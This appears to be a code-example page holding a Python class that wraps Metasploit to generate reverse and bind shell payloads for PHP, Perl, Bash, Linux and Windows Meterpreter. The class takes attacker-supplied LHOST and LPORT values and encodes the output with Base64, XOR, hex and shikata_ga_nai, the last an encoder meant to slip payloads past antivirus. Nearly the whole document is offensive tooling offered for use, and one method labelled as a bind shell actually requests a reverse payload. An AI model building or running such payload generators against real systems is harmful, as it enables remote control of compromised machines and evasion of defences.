コード例 #1
0
	def __init__(self):
		self.msfObj=MsfObj()
コード例 #2
0
class MsfWrapper(object):
	msfObj=None

	def __init__(self):
		self.msfObj=MsfObj()
	
	def phpReverseShell(self,lhost,lport):
		self.msfObj.setRequestedPayload("php/reverse_php")
		self.msfObj.setParams(["LHOST="+lhost,"LPORT="+lport])
		self.msfObj.setMode("R")


	def phpBindShell(self,rhost,lport):
		self.msfObj.setRequestedPayload("php/reverse_php")
		self.msfObj.setParams(["RHOST="+rhost,"LPORT="+lport])
		self.msfObj.setMode("R")

	def winMeterpreterReverseTcp(self,lhost,lport):
		self.msfObj.setRequestedPayload("windows/meterpreter/reverse_tcp")
		self.msfObj.setParams(["LHOST="+lhost,"LPORT="+lport])
		self.msfObj.setMode("X")

	def winMeterpreterReverseTcpRaw(self,lhost,lport):
		self.msfObj.setRequestedPayload("windows/meterpreter/reverse_tcp")
		self.msfObj.setParams(["LHOST="+lhost,"LPORT="+lport])
		self.msfObj.setMode("R")

	def linuxBindShell(self,lport):
		self.msfObj.setRequestedPayload("linux/x86/shell_bind_tcp")
		self.msfObj.setParams(["LPORT="+lport])
		self.msfObj.setMode("X")

	def linuxPerlReverseShell(self,lhost,lport):
		self.msfObj.setRequestedPayload("cmd/unix/reverse_perl")
		self.msfObj.setParams(["LHOST="+lhost,"LPORT="+lport])
		self.msfObj.setMode("R")

	def linuxBashReverseShell(self,lhost,lport):
		self.msfObj.setRequestedPayload("cmd/unix/reverse_bash")
		self.msfObj.setParams(["LHOST="+lhost,"LPORT="+lport])
		self.msfObj.setMode("R")

	def winShellReverseTcp(self,lhost,lport):
		self.msfObj.setRequestedPayload("windows/shell_reverse_tcp")
		self.msfObj.setParams(["LHOST="+lhost,"LPORT="+lport])
		self.msfObj.setMode("X")
	
	def createPayload(self):
		msfP=MsfPayload(self.msfObj)
		msfP.msfLoadPayload()

	def encodeBase64(self):
		msfE=MsfEncode(self.msfObj)
		msfE.toBase64()
	def encodeXor(self,key):
		msfE=MsfEncode(self.msfObj)
		msfE.toXor(key)

	def encodeHex(self):
		msfE=MsfEncode(self.msfObj)
		msfE.toHex()

	def encodeShikataGaNai(self,times=1,arch="x86"):
		msfE=MsfEncode(self.msfObj)
		msfE.toShikataGaNai(times,arch)
	
	def encodeWinDebug(self):
		msfE=MsfEncode(self.msfObj)
		msfE.toWinDebug()

	def encodeBash(self):
		msfE=MsfEncode(self.msfObj)
		msfE.toBash()
	
	def getPayload(self):
		return self.msfObj.getPayload()

	def loadCustomPayload(self,payload):
		self.msfObj.setPayload(payload)

	def loadCustomPayloadFromFile(self,file):
		msfObj=MsfWrapper()
		fd=open(file,'rb')
		payload=fd.read()
		fd.close()
		self.loadCustomPayload(payload)